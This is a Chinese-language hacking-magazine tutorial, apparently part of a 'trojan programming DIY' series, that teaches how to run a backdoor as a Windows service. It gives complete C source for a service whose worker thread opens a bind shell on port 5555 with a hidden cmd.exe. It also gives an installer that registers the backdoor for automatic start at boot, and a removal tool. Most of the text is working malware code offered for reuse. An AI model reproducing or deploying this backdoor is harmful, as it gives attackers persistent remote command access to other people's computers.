木馬編程DIY第8篇服務啟動技術
文/圖 冷風
隨意開啟一個木馬的服務產生端,你都能發現裡面有一種啟動方式叫“服務啟動”,也就是說這個技術以經是福士化的了,但是你寫過這樣的
程式嗎?如果寫過的話,你就可以泡杯茶先休息一下,如果還不是太瞭解的話,那就一塊來學習一下
通常編寫一個服務需要兩個程式,一個是實現功能的Service程式,一個是用於對Service程式進行控制的控製程序。這裡需要注意的是實現
Service功能的程式與一般的程式是有區別的,其區別並不僅僅在於是不是有GUI表單,在其格式上也有著不同,下面我們先寫一個CmdShell
後門的Service程式。
對於Service程式來說,它一般又由以下四部分組成:main(),ServiceMain()和Handler()當然還有我們的功能實現函數比如MyWork()
它們之間的關係,用一個簡單的圖示就可以瞭然於胸了示1,其服務程式的基本流程就是由main()調用ServiceMain()而由ServiceMain()
調用Handler()和執行功能函數MyWork()到現在為止,你以經大體瞭解了服務程式的流程,按上面的流程一步一步來實現這個後門程式。
1.程式的入口main()函數
服務程式的入口與普通程式一樣也是從main()開始,但不同的是服務程式的main極為簡單,因為它只負責建立指派表並啟動控制指派機,其代碼如下:
void main()
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "Name";//線程名字
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;//線程入口地址
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;//最後一個必須為NULL
StartServiceCtrlDispatcher(ServiceTable);// 啟動服務的控制指派機線程
}
main()是Service程式的主線程,當servie control manager開始一個Service進程時,它總是等待這個Service程式去調用StartServiceCtrlDispatcher()函數。
當執行服務時main()時將會調用ServiceMain函數,當ServiceMain執行完畢或者說發生錯誤時StartServiceCtrlDispatcher函數返回,然後主進程終止。
2. 服務的真正入口ServiceMain()
ServiceMain()是Service程式的真正進入點,它主要完成以下功能,首先註冊一個Handler去處理控製程序或控制台,Service的控制要求,比如 啟動,停止,暫停
重起等,其次就是實現我們的功能操作,其實現代碼如下:
VOID WINAPI ServiceMain( DWORD dwArgc, LPTSTR *lpszArgv )
{
DWORD status = 0;
DWORD specificError = 0xfffffff;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
//調用RegisterServiceCtrlHandler()註冊一個ServiceHandler函數用來處理常式對Service的控制要求
hStatus = RegisterServiceCtrlHandler("ServiceName",(LPHANDLER_FUNCTION)ServiceHandler);
if (hStatus==0)
return;
// Handle error condition
status = GetLastError();
if (status!=NO_ERROR)
{
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatus.dwWin32ExitCode = status;
ServiceStatus.dwServiceSpecificExitCode = specificError;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
// Initialization complete - report running status
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(hStatus, &ServiceStatus);
//啟動自己的背景工作執行緒
HANDLE hThread=CreateThread(NULL,0,mainfun,NULL,0,NULL);
if(hThread==NULL)
return;
}
在ServiceMain中通過RegisterServiceCtrlHandler註冊一個ServiceHandler函數用來處理常式對Service的控制要求其ServiceHandler函數的實現代碼如下:
3.ServiceHandler()函數
當你開啟服務管理員,啟動或者停止一個服務的時候,對你的操作進行響應的就是ServiceHandler()函數,它會判斷你的操作然後做出響應其實現代碼如下:
VOID WINAPI ServiceHandler(DWORD fdwControl)
{
switch(fdwControl)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(hStatus,&ServiceStatus);
return ;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus(hStatus,&ServiceStatus);//設定狀態
return ;
}
到現在,服務的主要三個函數就算完工了,下面就是我們實現CmdShell後的代碼了
4.功能實現函數
這是一個簡單的雙管道的CmdShell服務端,運行後可以使用Telnet ip 5555進行串連,成功後會得到一個SHELL
其實現代碼如下:
DWORD WINAPI mainfun(LPVOID lpParam)
{
WSADATA wsadata;
SOCKET server;
SOCKET client;
SOCKADDR_IN serveraddr;
SOCKADDR_IN clientaddr;
int port=5555;
WORD ver=MAKEWORD(2,2); //判斷winsock版本
WSAStartup(ver,&wsadata); //初始SOCKET
server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
serveraddr.sin_family=AF_INET;
serveraddr.sin_port=htons(port);
serveraddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
bind(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr));
listen(server,5);
int len=sizeof(clientaddr);
client=accept(server,(sockaddr *)&clientaddr,&len);
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
SECURITY_ATTRIBUTES saPipe;
STARTUPINFO lpStartupInfo;
PROCESS_INFORMATION lpProcessInfo;
char szBuffer[65535];
DWORD dwBufferRead;
int ret;
saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
//create read and write pipe
CreatePipe(&hReadPipe, &hReadShell, &saPipe, 0);
CreatePipe(&hWriteShell, &hWritePipe, &saPipe, 0);
GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;
lpStartupInfo.lpDesktop = "WinSta0//Default";
char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
strcat(cmdline,"//cmd.exe");
ret = CreateProcess(cmdline, NULL, NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
while(1)
{
ZeroMemory(szBuffer, sizeof(szBuffer));
PeekNamedPipe(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL,NULL);
if(dwBufferRead != 0)
{
ret = ReadFile(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL);
if(ret)
{
printf("The ReadFile Buffer is %s:/n",szBuffer);
EmptyPipe(hReadPipe);
}
}
else
{
ZeroMemory(szBuffer, sizeof(szBuffer));
ret = recv(client,szBuffer,sizeof(szBuffer),0);
if(ret == SOCKET_ERROR)
{
printf("SOCKET_ERROR/n");
break;
}
if(ret >0)
{
WriteFile(hWritePipe, szBuffer, ret, &dwBufferRead, 0);
}
}
Sleep(100);
}
WriteFile(hWritePipe, "exit/r/n", (DWORD)strlen("exit/r/n"), &dwBufferRead, 0);
return 0;
}
void EmptyPipe(HANDLE hReadPipe1)
{
BOOL ret;
DWORD bytesRead;
char *buffer=new char [1024];
while(true)
{
memset(buffer,0,1024);
ret=PeekNamedPipe(hReadPipe1,buffer,1024,&bytesRead,0,0);
if (bytesRead==0||!ret)
{
delete buffer;
return;
}
ReadFile(hReadPipe1,buffer,bytesRead,&bytesRead,0);
}
}
到現在為止服務程式就完成了,下面分別寫兩個小程式用來安裝和刪除服務.
5.安裝服務程式
#include <windows.h>
#include <winsvc.h>
#include <stdio.h>
main()
{
char name[100];
char info[200];
char path[300];
printf("請輸入服務名/n/n");
scanf ("%s",&name);
printf("請輸入服務描述/n/n");
scanf ("%s",&info);
printf("請輸入程式路徑/n/n");
scanf ("%s",&path);
SC_HANDLE manager=NULL;
SC_HANDLE service=NULL;
if((manager=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
{
printf("OpenSCManager Error");
}
service=CreateService(
manager,name,info,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
path, 0, 0, 0, 0, 0 );
if(service)
printf("服務建立成功/n/n");
else
printf("服務建立失敗/n/n");
CloseServiceHandle(service);
CloseServiceHandle(manager);
}
6.刪除服務程式
#include <windows.h>
#include <winsvc.h>
#include <stdio.h>
void main()
{
char name[100];
SC_HANDLE scm;
SC_HANDLE service;
SERVICE_STATUS status;
printf("請輸入要刪除的服務名/n/n");
scanf ("%s",&name);
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
{
printf("OpenSCManager Error/n");
}
service=OpenService(scm,name,SERVICE_ALL_ACCESS|DELETE);
if (!service)
{
printf("OpenService error!/n");
return;
}
BOOL isSuccess=QueryServiceStatus(service,&status);
if (!isSuccess)
{
printf("QueryServiceStatus error!/n");
return;
}
if ( status.dwCurrentState!=SERVICE_STOPPED )
{
isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
if (!isSuccess )
printf("Stop Service error!/n");
Sleep( 500 );
}
isSuccess=DeleteService(service);
if (!isSuccess)
printf("刪除服務失敗!/n");
else
printf("刪除服務成功!/n");
CloseServiceHandle(service );
CloseServiceHandle(scm);
}
關於建立與刪除服務這裡並沒有做詳細的介紹,如果你需要的話可以參考07年3月份的雜誌,編程欄目《木馬編程DIY之系統服務》一文,現在用安裝程式把服務
裝好,重起你的電腦後,就可以用 Telnet 127.0.0.1 5555來串連執行命令了,如果你打算編寫服務程式的話就直接改原始碼的背景工作執行緒部分好了,相信會方便
不少